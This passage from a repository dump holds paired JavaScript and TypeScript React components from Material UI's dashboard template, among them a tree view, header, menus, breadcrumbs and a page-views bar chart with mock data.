string;\n};\n\nconst ITEMS: TreeViewBaseItem<ExtendedTreeItemProps>[] = [\n  {\n    id: '1',\n    label: 'Website',\n    children: [\n      { id: '1.1', label: 'Home', color: 'green' },\n      { id: '1.2', label: 'Pricing', color: 'green' },\n      { id: '1.3', label: 'About us', color: 'green' },\n      {\n        id: '1.4',\n        label: 'Blog',\n        children: [\n          { id: '1.1.1', label: 'Announcements', color: 'blue' },\n          { id: '1.1.2', label: 'April lookahead', color: 'blue' },\n          { id: '1.1.3', label: \"What's new\", color: 'blue' },\n          { id: '1.1.4', label: 'Meet the team', color: 'blue' },\n        ],\n      },\n    ],\n  },\n  {\n    id: '2',\n    label: 'Store',\n    children: [\n      { id: '2.1', label: 'All products', color: 'green' },\n      {\n        id: '2.2',\n        label: 'Categories',\n        children: [\n          { id: '2.2.1', label: 'Gadgets', color: 'blue' },\n          { id: '2.2.2', label: 'Phones', color: 'blue' },\n          { id: '2.2.3', label: 'Wearables', color: 'blue' },\n        ],\n      },\n      { id: '2.3', label: 'Bestsellers', color: 'green' },\n      { id: '2.4', label: 'Sales', color: 'green' },\n    ],\n  },\n  { id: '4', label: 'Contact', color: 'blue' },\n  { id: '5', label: 'Help', color: 'blue' },\n];\n\nfunction DotIcon({ color }: { color: string }) {\n  return (\n    <Box sx={{ marginRight: 1, display: 'flex', alignItems: 'center' }}>\n      <svg width={6} height={6}>\n        <circle cx={3} cy={3} r={3} fill={color} />\n      </svg>\n    </Box>\n  );\n}\n\nconst AnimatedCollapse = animated(Collapse);\n\nfunction TransitionComponent(props: TransitionProps) {\n  const style = useSpring({\n    to: {\n      opacity: props.in ? 1 : 0,\n      transform: `translate3d(0,${props.in ? 0 : 20}px,0)`,\n    },\n  });\n\n  return <AnimatedCollapse style={style} {...props} />;\n}\n\ninterface CustomLabelProps {\n  children: React.ReactNode;\n  color?: Color;\n  expandable?: boolean;\n}\n\nfunction CustomLabel({ color, expandable, children, ...other }: CustomLabelProps) {\n  const theme = useTheme();\n  const colors = {\n    blue: (theme.vars || theme).palette.primary.main,\n    green: (theme.vars || theme).palette.success.main,\n  };\n\n  const iconColor = color ? colors[color] : null;\n  return (\n    <TreeItemLabel {...other} sx={{ display: 'flex', alignItems: 'center' }}>\n      {iconColor && <DotIcon color={iconColor} />}\n      <Typography\n        className=\"labelText\"\n        variant=\"body2\"\n        sx={{ color: 'text.primary' }}\n      >\n        {children}\n      </Typography>\n    </TreeItemLabel>\n  );\n}\n\ninterface CustomTreeItemProps\n  extends\n    Omit<UseTreeItemParameters, 'rootRef'>,\n    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}\n\nconst CustomTreeItem = React.forwardRef(function CustomTreeItem(\n  props: CustomTreeItemProps,\n  ref: React.Ref<HTMLLIElement>,\n) {\n  const { id, itemId, label, disabled, children, ...other } = props;\n\n  const {\n    getRootProps,\n    getContentProps,\n    getIconContainerProps,\n    getLabelProps,\n    getGroupTransitionProps,\n    status,\n    publicAPI,\n  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });\n\n  const item = publicAPI.getItem(itemId);\n  const color = item?.color;\n  return (\n    <TreeItemProvider id={id} itemId={itemId}>\n      <TreeItemRoot {...getRootProps(other)}>\n        <TreeItemContent\n          {...getContentProps({\n            className: clsx('content', {\n              expanded: status.expanded,\n              selected: status.selected,\n              focused: status.focused,\n              disabled: status.disabled,\n            }),\n          })}\n        >\n          {status.expandable && (\n            <TreeItemIconContainer {...getIconContainerProps()}>\n              <TreeItemIcon status={status} />\n            </TreeItemIconContainer>\n          )}\n\n          <CustomLabel {...getLabelProps({ color })} />\n        </TreeItemContent>\n        {children && (\n          <TransitionComponent\n            {...getGroupTransitionProps({ className: 'groupTransition' })}\n          />\n        )}\n      </TreeItemRoot>\n    </TreeItemProvider>\n  );\n});\n\nexport default function CustomizedTreeView() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{ display: 'flex', flexDirection: 'column', gap: '8px', flexGrow: 1 }}\n    >\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\">\n          Product tree\n        </Typography>\n        <RichTreeView\n          items={ITEMS}\n          aria-label=\"pages\"\n          multiSelect\n          defaultExpandedItems={['1', '1.1']}\n          defaultSelectedItems={['1.1', '1.1.1']}\n          sx={{\n            m: '0 -8px',\n            pb: '8px',\n            height: 'fit-content',\n            flexGrow: 1,\n            overflowY: 'auto',\n          }}\n          slots={{ item: CustomTreeItem }}\n        />\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/Header.js",
    "content": "import Stack from '@mui/material/Stack';\nimport NotificationsRoundedIcon from '@mui/icons-material/NotificationsRounded';\nimport CustomDatePicker from './CustomDatePicker';\nimport NavbarBreadcrumbs from './NavbarBreadcrumbs';\nimport MenuButton from './MenuButton';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\n\nimport Search from './Search';\n\nexport default function Header() {\n  return (\n    <Stack\n      direction=\"row\"\n      sx={{\n        display: { xs: 'none', md: 'flex' },\n        width: '100%',\n        alignItems: { xs: 'flex-start', md: 'center' },\n        justifyContent: 'space-between',\n        maxWidth: { sm: '100%', md: '1700px' },\n        pt: 1.5,\n      }}\n      spacing={2}\n    >\n      <NavbarBreadcrumbs />\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Search />\n        <CustomDatePicker />\n        <MenuButton showBadge aria-label=\"Open notifications\">\n          <NotificationsRoundedIcon />\n        </MenuButton>\n        <ColorModeIconDropdown />\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/Header.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport NotificationsRoundedIcon from '@mui/icons-material/NotificationsRounded';\nimport CustomDatePicker from './CustomDatePicker';\nimport NavbarBreadcrumbs from './NavbarBreadcrumbs';\nimport MenuButton from './MenuButton';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\n\nimport Search from './Search';\n\nexport default function Header() {\n  return (\n    <Stack\n      direction=\"row\"\n      sx={{\n        display: { xs: 'none', md: 'flex' },\n        width: '100%',\n        alignItems: { xs: 'flex-start', md: 'center' },\n        justifyContent: 'space-between',\n        maxWidth: { sm: '100%', md: '1700px' },\n        pt: 1.5,\n      }}\n      spacing={2}\n    >\n      <NavbarBreadcrumbs />\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Search />\n        <CustomDatePicker />\n        <MenuButton showBadge aria-label=\"Open notifications\">\n          <NotificationsRoundedIcon />\n        </MenuButton>\n        <ColorModeIconDropdown />\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/HighlightedCard.js",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport InsightsRoundedIcon from '@mui/icons-material/InsightsRounded';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function HighlightedCard() {\n  const theme = useTheme();\n  const isSmallScreen = useMediaQuery(theme.breakpoints.down('sm'));\n\n  return (\n    <Card sx={{ height: '100%' }}>\n      <CardContent>\n        <InsightsRoundedIcon />\n        <Typography\n          component=\"h2\"\n          variant=\"subtitle2\"\n          gutterBottom\n          sx={{ fontWeight: '600' }}\n        >\n          Explore your data\n        </Typography>\n        <Typography sx={{ color: 'text.secondary', mb: '8px' }}>\n          Uncover performance and visitor insights with our data wizardry.\n        </Typography>\n        <Button\n          variant=\"contained\"\n          size=\"small\"\n          color=\"primary\"\n          endIcon={<ChevronRightRoundedIcon />}\n          fullWidth={isSmallScreen}\n        >\n          Get insights\n        </Button>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/HighlightedCard.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport InsightsRoundedIcon from '@mui/icons-material/InsightsRounded';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function HighlightedCard() {\n  const theme = useTheme();\n  const isSmallScreen = useMediaQuery(theme.breakpoints.down('sm'));\n\n  return (\n    <Card sx={{ height: '100%' }}>\n      <CardContent>\n        <InsightsRoundedIcon />\n        <Typography\n          component=\"h2\"\n          variant=\"subtitle2\"\n          gutterBottom\n          sx={{ fontWeight: '600' }}\n        >\n          Explore your data\n        </Typography>\n        <Typography sx={{ color: 'text.secondary', mb: '8px' }}>\n          Uncover performance and visitor insights with our data wizardry.\n        </Typography>\n        <Button\n          variant=\"contained\"\n          size=\"small\"\n          color=\"primary\"\n          endIcon={<ChevronRightRoundedIcon />}\n          fullWidth={isSmallScreen}\n        >\n          Get insights\n        </Button>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MainGrid.js",
    "content": "import Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport Copyright from '../internals/components/Copyright';\nimport ChartUserByCountry from './ChartUserByCountry';\nimport CustomizedTreeView from './CustomizedTreeView';\nimport CustomizedDataGrid from './CustomizedDataGrid';\nimport HighlightedCard from './HighlightedCard';\nimport PageViewsBarChart from './PageViewsBarChart';\nimport SessionsChart from './SessionsChart';\nimport StatCard from './StatCard';\n\nconst data = [\n  {\n    title: 'Users',\n    value: '14k',\n    interval: 'Last 30 days',\n    trend: 'up',\n    data: [\n      200, 24, 220, 260, 240, 380, 100, 240, 280, 240, 300, 340, 320, 360, 340, 380,\n      360, 400, 380, 420, 400, 640, 340, 460, 440, 480, 460, 600, 880, 920,\n    ],\n  },\n  {\n    title: 'Conversions',\n    value: '325',\n    interval: 'Last 30 days',\n    trend: 'down',\n    data: [\n      1640, 1250, 970, 1130, 1050, 900, 720, 1080, 900, 450, 920, 820, 840, 600, 820,\n      780, 800, 760, 380, 740, 660, 620, 840, 500, 520, 480, 400, 360, 300, 220,\n    ],\n  },\n  {\n    title: 'Event count',\n    value: '200k',\n    interval: 'Last 30 days',\n    trend: 'neutral',\n    data: [\n      500, 400, 510, 530, 520, 600, 530, 520, 510, 730, 520, 510, 530, 620, 510, 530,\n      520, 410, 530, 520, 610, 530, 520, 610, 530, 420, 510, 430, 520, 510,\n    ],\n  },\n];\n\nexport default function MainGrid() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: { sm: '100%', md: '1700px' } }}>\n      {/* cards */}\n      <Typography component=\"h2\" variant=\"h6\" sx={{ mb: 2 }}>\n        Overview\n      </Typography>\n      <Grid\n        container\n        spacing={2}\n        columns={12}\n        sx={{ mb: (theme) => theme.spacing(2) }}\n      >\n        {data.map((card, index) => (\n          <Grid key={index} size={{ xs: 12, sm: 6, lg: 3 }}>\n            <StatCard {...card} />\n          </Grid>\n        ))}\n        <Grid size={{ xs: 12, sm: 6, lg: 3 }}>\n          <HighlightedCard />\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <SessionsChart />\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <PageViewsBarChart />\n        </Grid>\n      </Grid>\n      <Typography component=\"h2\" variant=\"h6\" sx={{ mb: 2 }}>\n        Details\n      </Typography>\n      <Grid container spacing={2} columns={12}>\n        <Grid size={{ xs: 12, lg: 9 }}>\n          <CustomizedDataGrid />\n        </Grid>\n        <Grid size={{ xs: 12, lg: 3 }}>\n          <Stack\n            direction={{ xs: 'column', sm: 'row', lg: 'column' }}\n            sx={{ gap: 2 }}\n          >\n            <CustomizedTreeView />\n            <ChartUserByCountry />\n          </Stack>\n        </Grid>\n      </Grid>\n      <Copyright sx={{ my: 4 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MainGrid.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport Copyright from '../internals/components/Copyright';\nimport ChartUserByCountry from './ChartUserByCountry';\nimport CustomizedTreeView from './CustomizedTreeView';\nimport CustomizedDataGrid from './CustomizedDataGrid';\nimport HighlightedCard from './HighlightedCard';\nimport PageViewsBarChart from './PageViewsBarChart';\nimport SessionsChart from './SessionsChart';\nimport StatCard, { StatCardProps } from './StatCard';\n\nconst data: StatCardProps[] = [\n  {\n    title: 'Users',\n    value: '14k',\n    interval: 'Last 30 days',\n    trend: 'up',\n    data: [\n      200, 24, 220, 260, 240, 380, 100, 240, 280, 240, 300, 340, 320, 360, 340, 380,\n      360, 400, 380, 420, 400, 640, 340, 460, 440, 480, 460, 600, 880, 920,\n    ],\n  },\n  {\n    title: 'Conversions',\n    value: '325',\n    interval: 'Last 30 days',\n    trend: 'down',\n    data: [\n      1640, 1250, 970, 1130, 1050, 900, 720, 1080, 900, 450, 920, 820, 840, 600, 820,\n      780, 800, 760, 380, 740, 660, 620, 840, 500, 520, 480, 400, 360, 300, 220,\n    ],\n  },\n  {\n    title: 'Event count',\n    value: '200k',\n    interval: 'Last 30 days',\n    trend: 'neutral',\n    data: [\n      500, 400, 510, 530, 520, 600, 530, 520, 510, 730, 520, 510, 530, 620, 510, 530,\n      520, 410, 530, 520, 610, 530, 520, 610, 530, 420, 510, 430, 520, 510,\n    ],\n  },\n];\n\nexport default function MainGrid() {\n  return (\n    <Box sx={{ width: '100%', maxWidth: { sm: '100%', md: '1700px' } }}>\n      {/* cards */}\n      <Typography component=\"h2\" variant=\"h6\" sx={{ mb: 2 }}>\n        Overview\n      </Typography>\n      <Grid\n        container\n        spacing={2}\n        columns={12}\n        sx={{ mb: (theme) => theme.spacing(2) }}\n      >\n        {data.map((card, index) => (\n          <Grid key={index} size={{ xs: 12, sm: 6, lg: 3 }}>\n            <StatCard {...card} />\n          </Grid>\n        ))}\n        <Grid size={{ xs: 12, sm: 6, lg: 3 }}>\n          <HighlightedCard />\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <SessionsChart />\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <PageViewsBarChart />\n        </Grid>\n      </Grid>\n      <Typography component=\"h2\" variant=\"h6\" sx={{ mb: 2 }}>\n        Details\n      </Typography>\n      <Grid container spacing={2} columns={12}>\n        <Grid size={{ xs: 12, lg: 9 }}>\n          <CustomizedDataGrid />\n        </Grid>\n        <Grid size={{ xs: 12, lg: 3 }}>\n          <Stack\n            direction={{ xs: 'column', sm: 'row', lg: 'column' }}\n            sx={{ gap: 2 }}\n          >\n            <CustomizedTreeView />\n            <ChartUserByCountry />\n          </Stack>\n        </Grid>\n      </Grid>\n      <Copyright sx={{ my: 4 }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MenuButton.js",
    "content": "import Badge, { badgeClasses } from '@mui/material/Badge';\nimport PropTypes from 'prop-types';\nimport IconButton from '@mui/material/IconButton';\n\nfunction MenuButton({ showBadge = false, ...props }) {\n  return (\n    <Badge\n      color=\"error\"\n      variant=\"dot\"\n      invisible={!showBadge}\n      sx={{ [`& .${badgeClasses.badge}`]: { right: 2, top: 2 } }}\n    >\n      <IconButton size=\"small\" {...props} />\n    </Badge>\n  );\n}\n\nMenuButton.propTypes = {\n  showBadge: PropTypes.bool,\n};\n\nexport default MenuButton;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MenuButton.tsx",
    "content": "import Badge, { badgeClasses } from '@mui/material/Badge';\nimport IconButton, { IconButtonProps } from '@mui/material/IconButton';\n\nexport interface MenuButtonProps extends IconButtonProps {\n  showBadge?: boolean;\n}\n\nexport default function MenuButton({\n  showBadge = false,\n  ...props\n}: MenuButtonProps) {\n  return (\n    <Badge\n      color=\"error\"\n      variant=\"dot\"\n      invisible={!showBadge}\n      sx={{ [`& .${badgeClasses.badge}`]: { right: 2, top: 2 } }}\n    >\n      <IconButton size=\"small\" {...props} />\n    </Badge>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MenuContent.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Stack from '@mui/material/Stack';\nimport HomeRoundedIcon from '@mui/icons-material/HomeRounded';\nimport AnalyticsRoundedIcon from '@mui/icons-material/AnalyticsRounded';\nimport PeopleRoundedIcon from '@mui/icons-material/PeopleRounded';\nimport AssignmentRoundedIcon from '@mui/icons-material/AssignmentRounded';\nimport SettingsRoundedIcon from '@mui/icons-material/SettingsRounded';\nimport InfoRoundedIcon from '@mui/icons-material/InfoRounded';\nimport HelpRoundedIcon from '@mui/icons-material/HelpRounded';\n\nconst mainListItems = [\n  { text: 'Home', icon: <HomeRoundedIcon /> },\n  { text: 'Analytics', icon: <AnalyticsRoundedIcon /> },\n  { text: 'Clients', icon: <PeopleRoundedIcon /> },\n  { text: 'Tasks', icon: <AssignmentRoundedIcon /> },\n];\n\nconst secondaryListItems = [\n  { text: 'Settings', icon: <SettingsRoundedIcon /> },\n  { text: 'About', icon: <InfoRoundedIcon /> },\n  { text: 'Feedback', icon: <HelpRoundedIcon /> },\n];\n\nexport default function MenuContent() {\n  return (\n    <Stack sx={{ flexGrow: 1, p: 1, justifyContent: 'space-between' }}>\n      <List dense>\n        {mainListItems.map((item, index) => (\n          <ListItem key={index} disablePadding sx={{ display: 'block' }}>\n            <ListItemButton selected={index === 0}>\n              <ListItemIcon>{item.icon}</ListItemIcon>\n              <ListItemText primary={item.text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <List dense>\n        {secondaryListItems.map((item, index) => (\n          <ListItem key={index} disablePadding sx={{ display: 'block' }}>\n            <ListItemButton>\n              <ListItemIcon>{item.icon}</ListItemIcon>\n              <ListItemText primary={item.text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/MenuContent.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Stack from '@mui/material/Stack';\nimport HomeRoundedIcon from '@mui/icons-material/HomeRounded';\nimport AnalyticsRoundedIcon from '@mui/icons-material/AnalyticsRounded';\nimport PeopleRoundedIcon from '@mui/icons-material/PeopleRounded';\nimport AssignmentRoundedIcon from '@mui/icons-material/AssignmentRounded';\nimport SettingsRoundedIcon from '@mui/icons-material/SettingsRounded';\nimport InfoRoundedIcon from '@mui/icons-material/InfoRounded';\nimport HelpRoundedIcon from '@mui/icons-material/HelpRounded';\n\nconst mainListItems = [\n  { text: 'Home', icon: <HomeRoundedIcon /> },\n  { text: 'Analytics', icon: <AnalyticsRoundedIcon /> },\n  { text: 'Clients', icon: <PeopleRoundedIcon /> },\n  { text: 'Tasks', icon: <AssignmentRoundedIcon /> },\n];\n\nconst secondaryListItems = [\n  { text: 'Settings', icon: <SettingsRoundedIcon /> },\n  { text: 'About', icon: <InfoRoundedIcon /> },\n  { text: 'Feedback', icon: <HelpRoundedIcon /> },\n];\n\nexport default function MenuContent() {\n  return (\n    <Stack sx={{ flexGrow: 1, p: 1, justifyContent: 'space-between' }}>\n      <List dense>\n        {mainListItems.map((item, index) => (\n          <ListItem key={index} disablePadding sx={{ display: 'block' }}>\n            <ListItemButton selected={index === 0}>\n              <ListItemIcon>{item.icon}</ListItemIcon>\n              <ListItemText primary={item.text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n      <List dense>\n        {secondaryListItems.map((item, index) => (\n          <ListItem key={index} disablePadding sx={{ display: 'block' }}>\n            <ListItemButton>\n              <ListItemIcon>{item.icon}</ListItemIcon>\n              <ListItemText primary={item.text} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n      </List>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/NavbarBreadcrumbs.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs, { breadcrumbsClasses } from '@mui/material/Breadcrumbs';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\n\nconst StyledBreadcrumbs = styled(Breadcrumbs)(({ theme }) => ({\n  margin: theme.spacing(1, 0),\n  [`& .${breadcrumbsClasses.separator}`]: {\n    color: (theme.vars || theme).palette.action.disabled,\n    margin: 1,\n  },\n  [`& .${breadcrumbsClasses.ol}`]: {\n    alignItems: 'center',\n  },\n}));\n\nexport default function NavbarBreadcrumbs() {\n  return (\n    <StyledBreadcrumbs\n      aria-label=\"breadcrumb\"\n      separator={<NavigateNextRoundedIcon fontSize=\"small\" />}\n    >\n      <Typography variant=\"body1\">Dashboard</Typography>\n      <Typography variant=\"body1\" sx={{ color: 'text.primary', fontWeight: 600 }}>\n        Home\n      </Typography>\n    </StyledBreadcrumbs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/NavbarBreadcrumbs.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Breadcrumbs, { breadcrumbsClasses } from '@mui/material/Breadcrumbs';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\n\nconst StyledBreadcrumbs = styled(Breadcrumbs)(({ theme }) => ({\n  margin: theme.spacing(1, 0),\n  [`& .${breadcrumbsClasses.separator}`]: {\n    color: (theme.vars || theme).palette.action.disabled,\n    margin: 1,\n  },\n  [`& .${breadcrumbsClasses.ol}`]: {\n    alignItems: 'center',\n  },\n}));\n\nexport default function NavbarBreadcrumbs() {\n  return (\n    <StyledBreadcrumbs\n      aria-label=\"breadcrumb\"\n      separator={<NavigateNextRoundedIcon fontSize=\"small\" />}\n    >\n      <Typography variant=\"body1\">Dashboard</Typography>\n      <Typography variant=\"body1\" sx={{ color: 'text.primary', fontWeight: 600 }}>\n        Home\n      </Typography>\n    </StyledBreadcrumbs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/OptionsMenu.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\nimport Menu from '@mui/material/Menu';\nimport MuiMenuItem from '@mui/material/MenuItem';\nimport { paperClasses } from '@mui/material/Paper';\nimport { listClasses } from '@mui/material/List';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon, { listItemIconClasses } from '@mui/material/ListItemIcon';\nimport LogoutRoundedIcon from '@mui/icons-material/LogoutRounded';\nimport MoreVertRoundedIcon from '@mui/icons-material/MoreVertRounded';\nimport MenuButton from './MenuButton';\n\nconst MenuItem = styled(MuiMenuItem)({\n  margin: '2px 0',\n});\n\nexport default function OptionsMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  return (\n    <React.Fragment>\n      <MenuButton\n        aria-label=\"Open menu\"\n        onClick={handleClick}\n        sx={{ borderColor: 'transparent' }}\n      >\n        <MoreVertRoundedIcon />\n      </MenuButton>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n        sx={{\n          [`& .${listClasses.root}`]: {\n            padding: '4px',\n          },\n          [`& .${paperClasses.root}`]: {\n            padding: 0,\n          },\n          [`& .${dividerClasses.root}`]: {\n            margin: '4px -4px',\n          },\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <Divider />\n        <MenuItem onClick={handleClose}>Add another account</MenuItem>\n        <MenuItem onClick={handleClose}>Settings</MenuItem>\n        <Divider />\n        <MenuItem\n          onClick={handleClose}\n          sx={{\n            [`& .${listItemIconClasses.root}`]: {\n              ml: 'auto',\n              minWidth: 0,\n            },\n          }}\n        >\n          <ListItemText>Logout</ListItemText>\n          <ListItemIcon>\n            <LogoutRoundedIcon fontSize=\"small\" />\n          </ListItemIcon>\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/OptionsMenu.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Divider, { dividerClasses } from '@mui/material/Divider';\nimport Menu from '@mui/material/Menu';\nimport MuiMenuItem from '@mui/material/MenuItem';\nimport { paperClasses } from '@mui/material/Paper';\nimport { listClasses } from '@mui/material/List';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon, { listItemIconClasses } from '@mui/material/ListItemIcon';\nimport LogoutRoundedIcon from '@mui/icons-material/LogoutRounded';\nimport MoreVertRoundedIcon from '@mui/icons-material/MoreVertRounded';\nimport MenuButton from './MenuButton';\n\nconst MenuItem = styled(MuiMenuItem)({\n  margin: '2px 0',\n});\n\nexport default function OptionsMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  return (\n    <React.Fragment>\n      <MenuButton\n        aria-label=\"Open menu\"\n        onClick={handleClick}\n        sx={{ borderColor: 'transparent' }}\n      >\n        <MoreVertRoundedIcon />\n      </MenuButton>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n        sx={{\n          [`& .${listClasses.root}`]: {\n            padding: '4px',\n          },\n          [`& .${paperClasses.root}`]: {\n            padding: 0,\n          },\n          [`& .${dividerClasses.root}`]: {\n            margin: '4px -4px',\n          },\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <Divider />\n        <MenuItem onClick={handleClose}>Add another account</MenuItem>\n        <MenuItem onClick={handleClose}>Settings</MenuItem>\n        <Divider />\n        <MenuItem\n          onClick={handleClose}\n          sx={{\n            [`& .${listItemIconClasses.root}`]: {\n              ml: 'auto',\n              minWidth: 0,\n            },\n          }}\n        >\n          <ListItemText>Logout</ListItemText>\n          <ListItemIcon>\n            <LogoutRoundedIcon fontSize=\"small\" />\n          </ListItemIcon>\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/PageViewsBarChart.js",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport { BarChart } from '@mui/x-charts/BarChart';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function PageViewsBarChart() {\n  const theme = useTheme();\n  const colorPalette = [\n    (theme.vars || theme).palette.primary.dark,\n    (theme.vars || theme).palette.primary.main,\n    (theme.vars || theme).palette.primary.light,\n  ];\n\n  return (\n    <Card variant=\"outlined\" sx={{ width: '100%' }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          Page views and downloads\n        </Typography>\n        <Stack sx={{ justifyContent: 'space-between' }}>\n          <Stack\n            direction=\"row\"\n            sx={{\n              alignContent: { xs: 'center', sm: 'flex-start' },\n              alignItems: 'center',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"h4\" component=\"p\">\n              1.3M\n            </Typography>\n            <Chip size=\"small\" color=\"error\" label=\"-8%\" />\n          </Stack>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            Page views and downloads for the last 6 months\n          </Typography>\n        </Stack>\n        <BarChart\n          borderRadius={8}\n          colors={colorPalette}\n          xAxis={[\n            {\n              scaleType: 'band',\n              categoryGapRatio: 0.5,\n              data: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul'],\n              height: 24,\n            },\n          ]}\n          yAxis={[{ width: 50 }]}\n          series={[\n            {\n              id: 'page-views',\n              label: 'Page views',\n              data: [2234, 3872, 2998, 4125, 3357, 2789, 2998],\n              stack: 'A',\n            },\n            {\n              id: 'downloads',\n              label: 'Downloads',\n              data: [3098, 4215, 2384, 2101, 4752, 3593, 2384],\n              stack: 'A',\n            },\n            {\n              id: 'conversions',\n              label: 'Conversions',\n              data: [4051, 2275, 3129, 4693, 3904, 2038, 2275],\n              stack: 'A',\n            },\n          ]}\n          height={250}\n          margin={{ left: 0, right: 0, top: 20, bottom: 0 }}\n          grid={{ horizontal: true }}\n          hideLegend\n        />\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
